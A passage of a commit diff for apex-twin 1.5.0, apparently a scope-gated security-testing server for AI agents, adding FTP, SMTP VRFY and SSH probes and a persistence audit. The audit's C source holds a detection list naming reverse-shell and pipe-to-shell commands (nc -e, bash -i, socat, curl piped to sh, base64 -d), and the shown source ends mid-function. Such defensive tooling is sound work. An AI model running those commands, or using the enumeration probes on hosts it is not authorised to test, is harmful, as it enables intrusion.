apex-twin 1.5.0: FTP, SMTP and SSH probes, persistence audit
Red, protocols (tools_proto.c): - ftp_probe: one connection, 220 banner, FEAT feature list, then the literal anonymous pair (USER anonymous / PASS anonymous@apex.invalid). Reports both reply codes and audits whether anonymous login was accepted. - smtp_probe: banner, EHLO extension list, then VRFY for a small user list (default root, admin, postmaster; max 8) classified exists / unknown / cannot-verify / disabled. No mail is sent. - ssh_audit: banner plus the KEXINIT name-lists (kex, host key, ciphers and MACs in both directions); flags group1/group14-sha1, ssh-rsa, ssh-dss, 3des-cbc, arcfour, blowfish-cbc, cast128-cbc, hmac-md5 and sha1-96 once each. No authentication is attempted. Blue (tools_blue.c): - persistence_audit: reads /etc/crontab, /etc/cron.d, /var/spool/cron/crontabs, /var/spool/cron/atjobs and /etc/systemd/system (services and timers) and flags /tmp,/dev/shm,/var/tmp execution, curl/wget piped to a shell, base64-to-shell, nc -e/socat, bash -i and setuid chmod. The optional root prefix audits a mounted image. Tests with local fixtures: FTP servers that allow and refuse anonymous login, an SMTP server with exists/unknown/cannot-verify VRFY answers, a modern and a deprecated SSH KEXINIT, and a persistence tree with four malicious and three clean files. 506 checks, ASan suite green, analyze clean, release-check green including distcheck 1.5.0. Two parser bugs the fixtures caught: SSH name-lists begin at offset 18 (pad byte + message type + 16-byte cookie), and FTP FEAT continuation lines carry no reply code, so they need a dedicated reader.
This commit is contained in:
1 parent
4de26b9b84
commit
b35500f0be
11 files changed
+1184
-17
No files matched your search
+27
-1
@@ -8,7 +8,33 @@ fields, and state from an older version is read by a newer one.
|
||||
There are no git tags. The hash next to a version is the commit that introduced
|
||||
it; the current entry is the commit that adds this section.
|
||||
|
||||
## 1.4.0 — 2026-11-21 — this change
|
||||
## 1.5.0 — 2026-11-21 — this change
|
||||
|
||||
- **Red, protocols** (`tools_proto.c`): `ftp_probe` reads the 220 banner, asks
|
||||
FEAT and tries the literal anonymous pair (USER anonymous / PASS
|
||||
anonymous@apex.invalid), reporting both reply codes and auditing acceptance.
|
||||
`smtp_probe` reads the banner, sends EHLO and lists the extensions, then
|
||||
VRFYs a small user list (default root, admin, postmaster; max 8) and
|
||||
classifies each as exists/unknown/cannot-verify/disabled. `ssh_audit` parses
|
||||
the KEXINIT name-lists (kex, host key, ciphers, MACs both ways) and flags
|
||||
group1/group14-sha1, ssh-rsa, ssh-dss, 3des-cbc, arcfour, blowfish, cast128,
|
||||
hmac-md5 and sha1-96. One connection each; no authentication beyond the
|
||||
anonymous FTP pair; no brute force.
|
||||
- **Blue:** `persistence_audit` reads /etc/crontab, /etc/cron.d,
|
||||
/var/spool/cron/crontabs, /var/spool/cron/atjobs and /etc/systemd/system
|
||||
(services and timers) and flags entries that run from /tmp, /dev/shm or
|
||||
/var/tmp, pipe curl/wget into a shell, decode base64 into a shell, use
|
||||
nc -e/socat, start bash -i or setuid chmod. The optional `root` prefix audits
|
||||
a mounted image.
|
||||
- Tests with local fixtures: allowing and refusing FTP servers, an SMTP server
|
||||
with three VRFY answers, a modern and a deprecated SSH KEXINIT, and a
|
||||
persistence tree with four malicious and three clean entries. 506 checks.
|
||||
Coverage 79.8%.
|
||||
- Two parser bugs found by the fixtures: SSH name-lists start at offset 18 (pad
|
||||
byte + message type + cookie), and FTP FEAT continuation lines carry no
|
||||
reply code, so they need their own reader.
|
||||
|
||||
## 1.4.0 — 2026-11-21 — 4de26b9
|
||||
|
||||
- **Red, offline:** `jwt_audit` decodes header and payload, reports alg/typ/kid
|
||||
and iss/aud/sub/exp/iat/nbf, and flags alg=none (critical), a missing exp, an
|
||||
|
||||
@@ -5,11 +5,11 @@ no Python in the serving path. It gives an agent real reconnaissance and real we
|
||||
testing behind a scope gate that refuses everything until a rules-of-engagement
|
||||
file says otherwise.
|
||||
|
||||
**65 tools · 490 end-to-end checks · 340 fuzz cases · 79.9% line coverage · ~325 KiB**
|
||||
**69 tools · 506 end-to-end checks · 340 fuzz cases · 79.8% line coverage · ~342 KiB**
|
||||
|
||||
```
|
||||
$ ./apex-twin --check
|
||||
{"version":"1.4.0","tools":65,...,"scope":{"loaded":true,...}}
|
||||
{"version":"1.5.0","tools":69,...,"scope":{"loaded":true,...}}
|
||||
```
|
||||
|
||||
APEX TWIN was inspired by [ARTEX](https://github.com/Autumn-27/artex) (scope
|
||||
@@ -149,7 +149,7 @@ closes a request whose head or body does not arrive within
|
||||
|
||||
---
|
||||
|
||||
## Tools (65)
|
||||
## Tools (69)
|
||||
|
||||
### Scope and bookkeeping
|
||||
|
||||
@@ -254,6 +254,9 @@ command in the allowlist: a receiver is a scanner, a transmitter is an attack.
|
||||
| `ssrf_probe` | Injects a URL parameter pointing at its own loopback listener (or your `callback_base`) and confirms a real fetch; never targets metadata endpoints |
|
||||
| `jwt_audit` | Offline JWT audit: alg/typ/kid, iss/aud/sub/exp/iat/nbf, alg=none, expired, missing exp, path-like kid; HS256 signature verified with `secret=` |
|
||||
| `hash_id` | Identify a hash shape: MD5/NTLM, SHA-1/256/512, bcrypt, Argon2, crypt(3) formats, JWT |
|
||||
| `ftp_probe` | One FTP connection: banner, FEAT list, and whether the literal anonymous pair is accepted (audited) |
|
||||
| `smtp_probe` | One SMTP connection: banner, EHLO extensions, VRFY of up to 8 users classified exists/unknown/cannot-verify |
|
||||
| `ssh_audit` | Banner plus KEXINIT lists (kex, host key, ciphers, MACs) and deprecated algorithms flagged |
|
||||
|
||||
### Blue team
|
||||
|
||||
@@ -267,6 +270,7 @@ command in the allowlist: a receiver is a scanner, a transmitter is an attack.
|
||||
| `integrity_baseline` | SHA-256 manifest of a tree (`create`) and a changed/missing/added report (`verify`), no external tools |
|
||||
| `mitre_map` | Map findings to ATT&CK techniques by title/tool/tags/CWE, with finding ids per technique |
|
||||
| `process_snapshot` | Read `/proc`: exe/fd count per process, flags /tmp or deleted executables, reverse-shell command lines, >256 fds |
|
||||
| `persistence_audit` | Cron, systemd units/timers and at jobs: flags /tmp paths, curl/wget piped to a shell, base64-to-shell, nc -e/socat, bash -i, setuid chmod |
|
||||
|
||||
### ESP32
|
||||
|
||||
@@ -450,6 +454,8 @@ The full threat model, trust boundaries and a hardening checklist are in
|
||||
| vhost discovery | 100 names per call, 100 ms apart |
|
||||
| Integrity baseline | 1000 files per call (max 5000), 1 MiB per file |
|
||||
| SSRF probe | 3 loopback variants, 1.2 s callback wait |
|
||||
| Service probes | One connection each; SMTP VRFY at most 8 users |
|
||||
| Persistence audit | 2000 files per call, 1 MiB per file, 100 findings |
|
||||
|
||||
---
|
||||
|
||||
@@ -460,7 +466,7 @@ Flags are fixed: `-std=c99 -Wall -Wextra -Wpedantic -Werror` plus
|
||||
|
||||
```sh
|
||||
make # apex-twin
|
||||
make test # version check + gate audit + 490 end-to-end checks
|
||||
make test # version check + gate audit + 506 end-to-end checks
|
||||
make version-check # the five places that carry a version must agree
|
||||
make gate-audit # static: every target-taking tool calls the gate
|
||||
make asan # apex-twin-asan with ASan + UBSan
|
||||
@@ -565,6 +571,7 @@ src/tools_traffic.c traffic_list / traffic_read
|
||||
src/tools_red.c vuln_check, subdomain_enum, cred_test
|
||||
src/tools_blue.c hardening_audit, log_audit, ioc_scan
|
||||
src/tools_esp.c esp_info, esp_monitor, esp_read_flash, esp_flash
|
||||
src/tools_proto.c ftp_probe, smtp_probe, ssh_audit
|
||||
src/sha256.c SHA-256/HMAC for integrity_baseline and jwt_audit
|
||||
src/tools_guard.c guard_check
|
||||
src/apex-twin.c MCP stdio + HTTP face, --check, --version
|
||||
@@ -594,7 +601,7 @@ examples/ scope.json
|
||||
|
||||
## Status
|
||||
|
||||
1.4.0. Built and run: 65 tools, 490 checks, 340 fuzz cases and 79.9% line
|
||||
1.5.0. Built and run: 69 tools, 506 checks, 340 fuzz cases and 79.8% line
|
||||
coverage. The loop closes: a probe captures the exchange as a pair, a finding
|
||||
points at it, `finding_update` gives it a state, an asset records the host it
|
||||
came from, `cors_check`/`cookie_audit`/`http_options` turn a web answer into a
|
||||
@@ -617,7 +624,8 @@ keeps the gaps visible.
|
||||
wordlist path brute-forcing and access-log analysis; 1.3 added SSRF
|
||||
verification, detection-rule export, integrity baselines and firmware writing
|
||||
(confirm-gated); 1.4 added offline JWT/hash analysis, ATT&CK mapping and a
|
||||
/proc snapshot, again without changing an existing tool or file format.
|
||||
/proc snapshot; 1.5 added FTP/SMTP/SSH service probes and a persistence audit,
|
||||
again without changing an existing tool or file format.
|
||||
|
||||
Not yet wired into a fleet router, and there is no TLS interception.
|
||||
|
||||
|
||||
+6
-1
@@ -9,7 +9,7 @@ problem.
|
||||
|
||||
The supported line is the one printed by `apex-twin --version` for the tree you
|
||||
built; this document ships with that same tree. At the time of writing the line
|
||||
is **1.4.x** (`src/apex.h`, `APEX_VERSION`). Security fixes land on the current
|
||||
is **1.5.x** (`src/apex.h`, `APEX_VERSION`). Security fixes land on the current
|
||||
line. The 1.0 line promises that the on-disk JSON formats for findings, assets
|
||||
and traffic only gain fields, so state stays readable; older builds are still
|
||||
rebuilt rather than patched in place.
|
||||
@@ -66,6 +66,11 @@ only narrow what the proxy does (the scope gate still runs first).
|
||||
- **Firmware writing needs an explicit confirmation.** `esp_flash` refuses
|
||||
without `confirm=true`, validates an absolute image path and audits the
|
||||
attempt; it exists to provision the operator's own board.
|
||||
- **Service probes are handshakes, not attacks.** `ftp_probe` tries only the
|
||||
literal anonymous FTP pair, `smtp_probe` sends EHLO and at most 8 VRFY
|
||||
commands, and `ssh_audit` reads one KEXINIT and never authenticates. Each
|
||||
opens one connection to an in-scope host; nothing is brute-forced and nothing
|
||||
is written on the service.
|
||||
- **Offline analysis stays offline.** `jwt_audit` and `hash_id` parse a value
|
||||
the operator supplies; the JWT signature check is local HMAC-SHA256 and no
|
||||
hash is cracked. `process_snapshot` only reads `/proc`.
|
||||
|
||||
+6
-5
@@ -1,5 +1,5 @@
|
||||
.\" apex-twin.1 - manual page for APEX TWIN
|
||||
.TH APEX-TWIN 1 "2026-11-21" "apex-twin 1.4.0" "User Commands"
|
||||
.TH APEX-TWIN 1 "2026-11-21" "apex-twin 1.5.0" "User Commands"
|
||||
.SH NAME
|
||||
apex-twin \- scope\-gated offensive\-security MCP server
|
||||
.SH SYNOPSIS
|
||||
@@ -36,10 +36,11 @@ and the radio is the ESP32 Marauder serial CLI.
|
||||
It is not an exploit framework: there is no shell, no exploit payload, no
|
||||
post\-exploitation, no C2 and no persistence. Besides reconnaissance and web
|
||||
testing it carries offensive verification (vuln_check, subdomain_enum,
|
||||
cred_test, vhost_discovery, http_brute, ssrf_probe, jwt_audit, hash_id),
|
||||
defensive audits (hardening_audit, log_audit, ioc_scan, web_log_audit,
|
||||
detect_rules, integrity_baseline, mitre_map, process_snapshot) and ESP32 board
|
||||
tools (esp_info, esp_monitor, esp_read_flash, esp_flash).
|
||||
cred_test, vhost_discovery, http_brute, ssrf_probe, jwt_audit, hash_id,
|
||||
ftp_probe, smtp_probe, ssh_audit), defensive audits (hardening_audit,
|
||||
log_audit, ioc_scan, web_log_audit, detect_rules, integrity_baseline,
|
||||
mitre_map, process_snapshot, persistence_audit) and ESP32 board tools
|
||||
(esp_info, esp_monitor, esp_read_flash, esp_flash).
|
||||
.SH MODES
|
||||
.TP
|
||||
.B apex-twin
|
||||
|
||||
@@ -124,6 +124,8 @@ static void build_tools(void)
|
||||
g_tools[n++] = TOOLS_BLUE[i];
|
||||
for (i = 0; i < TOOLS_ESP_N && n < 96; i++)
|
||||
g_tools[n++] = TOOLS_ESP[i];
|
||||
for (i = 0; i < TOOLS_PROTO_N && n < 96; i++)
|
||||
g_tools[n++] = TOOLS_PROTO[i];
|
||||
|
||||
g_srv.name = "apex-twin";
|
||||
g_srv.version = APEX_VERSION;
|
||||
|
||||
+1
-1
@@ -15,7 +15,7 @@
|
||||
|
||||
#include "mcp.h"
|
||||
|
||||
#define APEX_VERSION "1.4.0"
|
||||
#define APEX_VERSION "1.5.0"
|
||||
#define APEX_MAX_OUT (1u << 20)
|
||||
#define APEX_PATH_MAX 512
|
||||
#define APEX_PATH_FULL 1024
|
||||
|
||||
@@ -52,5 +52,7 @@ extern const mcp_tool TOOLS_BLUE[];
|
||||
extern const size_t TOOLS_BLUE_N;
|
||||
extern const mcp_tool TOOLS_ESP[];
|
||||
extern const size_t TOOLS_ESP_N;
|
||||
extern const mcp_tool TOOLS_PROTO[];
|
||||
extern const size_t TOOLS_PROTO_N;
|
||||
|
||||
#endif /* APEX_TOOLS_H */
|
||||
@@ -1734,6 +1734,243 @@ static void t_process_snapshot(mcp_conn *c, const mcp_json *args, void *user)
|
||||
mcp_buf_free(&b);
|
||||
}
|
||||
|
||||
/* -------------------------------------------------------- persistence_audit */
|
||||
|
||||
typedef struct {
|
||||
mcp_buf *b;
|
||||
int first;
|
||||
int count;
|
||||
int files;
|
||||
int max_files;
|
||||
int cron_files;
|
||||
int timers;
|
||||
int at_jobs;
|
||||
int truncated;
|
||||
} persist_ctx;
|
||||
|
||||
static const char *PERSIST_PATTERNS[] = {
|
||||
"/tmp/", "/dev/shm/", "/var/tmp/",
|
||||
"base64 -d", "nc -e", "ncat -e", "socat", "bash -i",
|
||||
"chmod 4755", "chmod u+s", NULL
|
||||
};
|
||||
|
||||
static void persist_hit(persist_ctx *ctx, const char *path, int lineno,
|
||||
const char *line, const char *pattern)
|
||||
{
|
||||
char snippet[160];
|
||||
size_t n = 0;
|
||||
|
||||
if (ctx->count >= 100) {
|
||||
ctx->truncated = 1;
|
||||
return;
|
||||
}
|
||||
while (line[n] != '\0' && line[n] != '\n' && n + 1 < sizeof(snippet)) {
|
||||
char ch = line[n];
|
||||
|
||||
snippet[n] = (ch == '\t') ? ' ' : ch;
|
||||
n++;
|
||||
}
|
||||
snippet[n] = '\0';
|
||||
if (!ctx->first)
|
||||
mcp_buf_puts(ctx->b, ",");
|
||||
ctx->first = 0;
|
||||
ctx->count++;
|
||||
mcp_buf_puts(ctx->b, "{\"path\":");
|
||||
apex_json_str(ctx->b, path);
|
||||
mcp_buf_printf(ctx->b, ",\"line\":%d,\"pattern\":", lineno);
|
||||
apex_json_str(ctx->b, pattern);
|
||||
mcp_buf_puts(ctx->b, ",\"snippet\":");
|
||||
apex_json_str(ctx->b, snippet);
|
||||
mcp_buf_puts(ctx->b, "}");
|
||||
}
|
||||
|
||||
/* mode: 0 cron, 1 systemd units, 2 at jobs */
|
||||
static void persist_file(persist_ctx *ctx, const char *path, int mode)
|
||||
{
|
||||
FILE *f;
|
||||
char *buf;
|
||||
long size = 0;
|
||||
char *save = NULL;
|
||||
char *line;
|
||||
int lineno = 0;
|
||||
|
||||
if (ctx->files >= ctx->max_files) {
|
||||
ctx->truncated = 1;
|
||||
return;
|
||||
}
|
||||
if (file_size(path, &size) != 0 || size <= 0 || size > (1L << 20))
|
||||
return;
|
||||
f = fopen(path, "rb");
|
||||
if (f == NULL)
|
||||
return;
|
||||
buf = malloc((size_t)size + 1);
|
||||
if (buf == NULL) {
|
||||
fclose(f);
|
||||
return;
|
||||
}
|
||||
if (fread(buf, 1, (size_t)size, f) != (size_t)size) {
|
||||
free(buf);
|
||||
fclose(f);
|
||||
return;
|
||||
}
|
||||
fclose(f);
|
||||
buf[size] = '\0';
|
||||
{
|
||||
long k;
|
||||
|
||||
for (k = 0; k < size && k < 512; k++)
|
||||
if (buf[k] == '\0') {
|
||||
free(buf);
|
||||
return; /* binary */
|
||||
}
|
||||
}
|
||||
ctx->files++;
|
||||
if (mode == 0)
|
||||
ctx->cron_files++;
|
||||
else if (mode == 1) {
|
||||
size_t nl = strlen(path);
|
||||
|
||||
if (nl > 6 && strcmp(path + nl - 6, ".timer") == 0)
|
||||
ctx->timers++;
|
||||
} else if (mode == 2) {
|
||||
ctx->at_jobs++;
|
||||
}
|
||||
|
||||
line = strtok_r(buf, "\n", &save);
|
||||
while (line != NULL) {
|
||||
const char *found = NULL;
|
||||
int i;
|
||||
|
||||
lineno++;
|
||||
if (strstr(line, "curl ") != NULL || strstr(line, "wget ") != NULL) {
|
||||
if (strstr(line, "| sh") != NULL ||
|
||||
strstr(line, "|sh") != NULL ||
|
||||
strstr(line, "| bash") != NULL)
|
||||
found = "remote-code";
|
||||
}
|
||||
if (found == NULL) {
|
||||
for (i = 0; PERSIST_PATTERNS[i] != NULL; i++)
|
||||
if (strstr(line, PERSIST_PATTERNS[i]) != NULL) {
|
||||
found = (strcmp(PERSIST_PATTERNS[i], "base64 -d") == 0)
|
||||
? "decode-and-run"
|
||||
: PERSIST_PATTERNS[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (found != NULL)
|
||||
persist_hit(ctx, path, lineno, line, found);
|
||||
line = strtok_r(NULL, "\n", &save);
|
||||
}
|
||||
free(buf);
|
||||
}
|
||||
|
||||
static void persist_dir(persist_ctx *ctx, const char *dir, int depth, int mode)
|
||||
{
|
||||
DIR *d;
|
||||
struct dirent *ent;
|
||||
|
||||
if (depth > 2 || ctx->files >= ctx->max_files)
|
||||
return;
|
||||
d = opendir(dir);
|
||||
if (d == NULL)
|
||||
return;
|
||||
while ((ent = readdir(d)) != NULL) {
|
||||
char path[1024];
|
||||
struct stat st;
|
||||
size_t dl = strlen(dir);
|
||||
size_t nl = strlen(ent->d_name);
|
||||
|
||||
if (ctx->files >= ctx->max_files)
|
||||
break;
|
||||
if (ent->d_name[0] == '.' &&
|
||||
(ent->d_name[1] == '\0' ||
|
||||
(ent->d_name[1] == '.' && ent->d_name[2] == '\0')))
|
||||
continue;
|
||||
if (dl + nl + 2 > sizeof(path))
|
||||
continue;
|
||||
memcpy(path, dir, dl);
|
||||
path[dl] = '/';
|
||||
memcpy(path + dl + 1, ent->d_name, nl + 1);
|
||||
if (lstat(path, &st) != 0)
|
||||
continue;
|
||||
if (S_ISLNK(st.st_mode))
|
||||
continue;
|
||||
if (S_ISDIR(st.st_mode)) {
|
||||
persist_dir(ctx, path, depth + 1, mode);
|
||||
continue;
|
||||
}
|
||||
if (!S_ISREG(st.st_mode))
|
||||
continue;
|
||||
if (mode == 1 && !(nl > 8 && strcmp(path + strlen(path) - 8,
|
||||
".service") == 0) &&
|
||||
!(nl > 6 && strcmp(path + strlen(path) - 6, ".timer") == 0))
|
||||
continue;
|
||||
persist_file(ctx, path, mode);
|
||||
}
|
||||
closedir(d);
|
||||
}
|
||||
|
||||
static void t_persistence_audit(mcp_conn *c, const mcp_json *args, void *user)
|
||||
{
|
||||
const char *root = mcp_arg_string(args, "root");
|
||||
int limit = mcp_arg_int(args, "limit", 2000);
|
||||
char base[512];
|
||||
size_t bl;
|
||||
char path[1024];
|
||||
persist_ctx ctx;
|
||||
mcp_buf b, findings;
|
||||
|
||||
(void)user;
|
||||
if (root == NULL)
|
||||
root = "";
|
||||
if (strlen(root) >= sizeof(base) - 2) {
|
||||
mcp_reply_error(c, "root path too long");
|
||||
return;
|
||||
}
|
||||
snprintf(base, sizeof(base), "%s", root);
|
||||
bl = strlen(base);
|
||||
while (bl > 0 && base[bl - 1] == '/')
|
||||
base[--bl] = '\0';
|
||||
if (limit <= 0 || limit > 20000)
|
||||
limit = 2000;
|
||||
mcp_buf_init(&findings);
|
||||
memset(&ctx, 0, sizeof(ctx));
|
||||
ctx.b = &findings;
|
||||
ctx.first = 1;
|
||||
ctx.max_files = limit;
|
||||
|
||||
#define PERSIST_PATH(fmt, mode) do { \
|
||||
snprintf(path, sizeof(path), "%s" fmt, base); \
|
||||
persist_file(&ctx, path, mode); \
|
||||
} while (0)
|
||||
#define PERSIST_DIR(fmt, mode) do { \
|
||||
snprintf(path, sizeof(path), "%s" fmt, base); \
|
||||
persist_dir(&ctx, path, 0, mode); \
|
||||
} while (0)
|
||||
PERSIST_PATH("/etc/crontab", 0);
|
||||
PERSIST_DIR("/etc/cron.d", 0);
|
||||
PERSIST_DIR("/var/spool/cron/crontabs", 0);
|
||||
PERSIST_DIR("/var/spool/cron/atjobs", 2);
|
||||
PERSIST_DIR("/etc/systemd/system", 1);
|
||||
#undef PERSIST_PATH
|
||||
#undef PERSIST_DIR
|
||||
|
||||
mcp_buf_init(&b);
|
||||
mcp_buf_puts(&b, "{\"root\":");
|
||||
apex_json_str(&b, base);
|
||||
mcp_buf_printf(&b, ",\"files_scanned\":%d,\"cron_files\":%d,"
|
||||
"\"timers\":%d,\"at_jobs\":%d,\"findings_count\":%d,"
|
||||
"\"truncated\":%s,\"findings\":[",
|
||||
ctx.files, ctx.cron_files, ctx.timers, ctx.at_jobs,
|
||||
ctx.count, ctx.truncated ? "true" : "false");
|
||||
if (findings.p != NULL)
|
||||
mcp_buf_add(&b, findings.p, findings.len);
|
||||
mcp_buf_puts(&b, "]}");
|
||||
mcp_reply_json(c, b.p);
|
||||
mcp_buf_free(&b);
|
||||
mcp_buf_free(&findings);
|
||||
}
|
||||
|
||||
const mcp_tool TOOLS_BLUE[] = {
|
||||
{ "hardening_audit",
|
||||
"Read-only posture audit of the local host: sshd_config (root login, "
|
||||
@@ -1823,6 +2060,19 @@ const mcp_tool TOOLS_BLUE[] = {
|
||||
"base64 -d, socat, bash -i) and more than 256 open files.",
|
||||
"{\"type\":\"object\",\"properties\":{}}",
|
||||
t_process_snapshot },
|
||||
{ "persistence_audit",
|
||||
"Read cron, systemd and at persistence on the local host: /etc/crontab, "
|
||||
"/etc/cron.d, /var/spool/cron/crontabs, /var/spool/cron/atjobs and "
|
||||
"/etc/systemd/system (services and timers). Flags entries that run from "
|
||||
"/tmp, /dev/shm or /var/tmp, pipe curl/wget into a shell, decode base64 "
|
||||
"into a shell, use nc -e/socat, bash -i, or setuid chmod. Read-only; the "
|
||||
"optional root prefix lets you audit a mounted image.",
|
||||
"{\"type\":\"object\",\"properties\":{"
|
||||
"\"root\":{\"type\":\"string\",\"description\":\"prefix for the paths, "
|
||||
"default empty (the live host)\"},"
|
||||
"\"limit\":{\"type\":\"integer\",\"description\":\"files to read, "
|
||||
"default 2000\"}}}",
|
||||
t_persistence_audit },
|
||||
};
|
||||
|
||||
const size_t TOOLS_BLUE_N = sizeof(TOOLS_BLUE) / sizeof(TOOLS_BLUE[0]);
|
||||
@@ -0,0 +1,675 @@
|
||||
/*
|
||||
* tools_proto.c - service-level probes below HTTP.
|
||||
*
|
||||
* ftp_probe banner, FEAT, and whether anonymous login is accepted
|
||||
* smtp_probe banner, EHLO extensions, and VRFY user enumeration
|
||||
* ssh_audit banner and the KEXINIT algorithm lists, with weak picks flagged
|
||||
*
|
||||
* All three open exactly one TCP connection to an in-scope host, send only the
|
||||
* protocol handshake, and close. Nothing is brute-forced and nothing is written
|
||||
* on the service. Credentials in ftp_probe are the literal anonymous pair.
|
||||
*/
|
||||
#include <errno.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <strings.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/time.h>
|
||||
#include <time.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include "apex.h"
|
||||
#include "tools.h"
|
||||
|
||||
/* ------------------------------------------------------------- line helpers */
|
||||
|
||||
static int write_all(int fd, const char *s)
|
||||
{
|
||||
size_t n = strlen(s);
|
||||
size_t off = 0;
|
||||
|
||||
while (off < n) {
|
||||
ssize_t w = write(fd, s + off, n - off);
|
||||
|
||||
if (w < 0) {
|
||||
if (errno == EINTR)
|
||||
continue;
|
||||
return -1;
|
||||
}
|
||||
if (w == 0)
|
||||
return -1;
|
||||
off += (size_t)w;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* One line, CR/LF stripped, capped at n-1 bytes. -1 on error or timeout. */
|
||||
static int read_line(int fd, char *buf, size_t n)
|
||||
{
|
||||
size_t i = 0;
|
||||
|
||||
if (n == 0)
|
||||
return -1;
|
||||
while (i + 1 < n) {
|
||||
char ch;
|
||||
ssize_t r = read(fd, &ch, 1);
|
||||
|
||||
if (r < 0) {
|
||||
if (errno == EINTR)
|
||||
continue;
|
||||
return -1;
|
||||
}
|
||||
if (r == 0)
|
||||
break;
|
||||
if (ch == '\n')
|
||||
break;
|
||||
if (ch != '\r')
|
||||
buf[i++] = ch;
|
||||
}
|
||||
buf[i] = '\0';
|
||||
return (int)i;
|
||||
}
|
||||
|
||||
static int read_exact(int fd, unsigned char *buf, size_t n)
|
||||
{
|
||||
size_t off = 0;
|
||||
|
||||
while (off < n) {
|
||||
ssize_t r = read(fd, buf + off, n - off);
|
||||
|
||||
if (r < 0) {
|
||||
if (errno == EINTR)
|
||||
continue;
|
||||
return -1;
|
||||
}
|
||||
if (r == 0)
|
||||
return -1;
|
||||
off += (size_t)r;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
/*
|
||||
* Read a reply that may span several lines ("250-first", "250 last"). Stops at
|
||||
* the first line whose fourth byte is not '-'. Returns bytes stored or -1.
|
||||
*/
|
||||
static int read_reply(int fd, char *out, size_t n)
|
||||
{
|
||||
size_t used = 0;
|
||||
int got = 0;
|
||||
|
||||
if (n == 0)
|
||||
return -1;
|
||||
out[0] = '\0';
|
||||
for (;;) {
|
||||
char line[512];
|
||||
int len = read_line(fd, line, sizeof(line));
|
||||
size_t take;
|
||||
|
||||
if (len < 0)
|
||||
break;
|
||||
if (len == 0 && !got)
|
||||
break;
|
||||
got = 1;
|
||||
take = (size_t)len;
|
||||
if (used + take + 2 >= n)
|
||||
take = n - used - 2;
|
||||
if (take > 0) {
|
||||
memcpy(out + used, line, take);
|
||||
used += take;
|
||||
out[used++] = '\n';
|
||||
out[used] = '\0';
|
||||
}
|
||||
if (len < 4 || line[3] != '-')
|
||||
break;
|
||||
}
|
||||
return got ? (int)used : -1;
|
||||
}
|
||||
|
||||
/* FTP FEAT: continuation lines start with a space, the last one with "211 ". */
|
||||
static int read_ftp_feat(int fd, char *out, size_t n)
|
||||
{
|
||||
size_t used = 0;
|
||||
int got = 0;
|
||||
|
||||
if (n == 0)
|
||||
return -1;
|
||||
out[0] = '\0';
|
||||
for (;;) {
|
||||
char line[512];
|
||||
int len = read_line(fd, line, sizeof(line));
|
||||
size_t take;
|
||||
|
||||
if (len < 0)
|
||||
break;
|
||||
if (len == 0 && !got)
|
||||
break;
|
||||
got = 1;
|
||||
take = (size_t)len;
|
||||
if (used + take + 2 >= n)
|
||||
take = n - used - 2;
|
||||
if (take > 0) {
|
||||
memcpy(out + used, line, take);
|
||||
used += take;
|
||||
out[used++] = '\n';
|
||||
out[used] = '\0';
|
||||
}
|
||||
if (len >= 4 &&
|
||||
line[0] >= '0' && line[0] <= '9' &&
|
||||
line[1] >= '0' && line[1] <= '9' &&
|
||||
line[2] >= '0' && line[2] <= '9' && line[3] == ' ')
|
||||
break;
|
||||
if (len < 4)
|
||||
break;
|
||||
}
|
||||
return got ? (int)used : -1;
|
||||
}
|
||||
|
||||
static int reply_code(const char *line)
|
||||
{
|
||||
int code = 0;
|
||||
|
||||
if (line == NULL || line[0] < '0' || line[0] > '9')
|
||||
return 0;
|
||||
code = atoi(line);
|
||||
return code;
|
||||
}
|
||||
|
||||
/* "250-SIZE 100" and " SIZE" both yield "SIZE"; -1 when there is no token. */
|
||||
static int reply_feature(const char *line, char *out, size_t n)
|
||||
{
|
||||
size_t i = 0;
|
||||
size_t w = 0;
|
||||
|
||||
if (line == NULL)
|
||||
return -1;
|
||||
if (line[0] >= '0' && line[0] <= '9' &&
|
||||
line[1] >= '0' && line[1] <= '9' &&
|
||||
line[2] >= '0' && line[2] <= '9') {
|
||||
i = 3;
|
||||
if (line[i] == '-' || line[i] == ' ')
|
||||
i++;
|
||||
}
|
||||
while (line[i] == ' ')
|
||||
i++;
|
||||
while (line[i] != '\0' && line[i] != ' ' && line[i] != '=' &&
|
||||
w + 1 < n)
|
||||
out[w++] = line[i++];
|
||||
out[w] = '\0';
|
||||
return w > 0 ? 0 : -1;
|
||||
}
|
||||
|
||||
/* ---------------------------------------------------------------- ftp_probe */
|
||||
|
||||
static void t_ftp_probe(mcp_conn *c, const mcp_json *args, void *user)
|
||||
{
|
||||
const char *target = mcp_arg_string(args, "target");
|
||||
int port = mcp_arg_int(args, "port", 21);
|
||||
char banner[512];
|
||||
char reply[4096];
|
||||
char features[12][64];
|
||||
int nfeat = 0;
|
||||
int code;
|
||||
int feat_code = 0;
|
||||
int user_code = 0;
|
||||
int pass_code = 0;
|
||||
int anonymous = 0;
|
||||
int fd;
|
||||
mcp_buf b;
|
||||
int i;
|
||||
|
||||
(void)user;
|
||||
if (target == NULL || *target == '\0') {
|
||||
mcp_reply_error(c, "target is required");
|
||||
return;
|
||||
}
|
||||
if (!gated(c, "ftp_probe", target, port))
|
||||
return;
|
||||
fd = tcp_connect_host(target, port, 8000);
|
||||
if (fd < 0) {
|
||||
mcp_reply_error(c, "cannot connect to the FTP service");
|
||||
return;
|
||||
}
|
||||
banner[0] = '\0';
|
||||
code = (read_line(fd, banner, sizeof(banner)) >= 0)
|
||||
? reply_code(banner) : 0;
|
||||
if (code != 220) {
|
||||
mcp_buf_init(&b);
|
||||
mcp_buf_printf(&b, "no FTP banner (code %d)", code);
|
||||
mcp_reply_error(c, b.p);
|
||||
mcp_buf_free(&b);
|
||||
close(fd);
|
||||
return;
|
||||
}
|
||||
if (write_all(fd, "FEAT\r\n") == 0) {
|
||||
if (read_ftp_feat(fd, reply, sizeof(reply)) > 0) {
|
||||
char *save = NULL;
|
||||
char *line = strtok_r(reply, "\n", &save);
|
||||
|
||||
feat_code = reply_code(line);
|
||||
line = strtok_r(NULL, "\n", &save);
|
||||
while (line != NULL && nfeat < 12) {
|
||||
if (reply_code(line) != 211 &&
|
||||
reply_feature(line, features[nfeat],
|
||||
sizeof(features[0])) == 0)
|
||||
nfeat++;
|
||||
line = strtok_r(NULL, "\n", &save);
|
||||
}
|
||||
}
|
||||
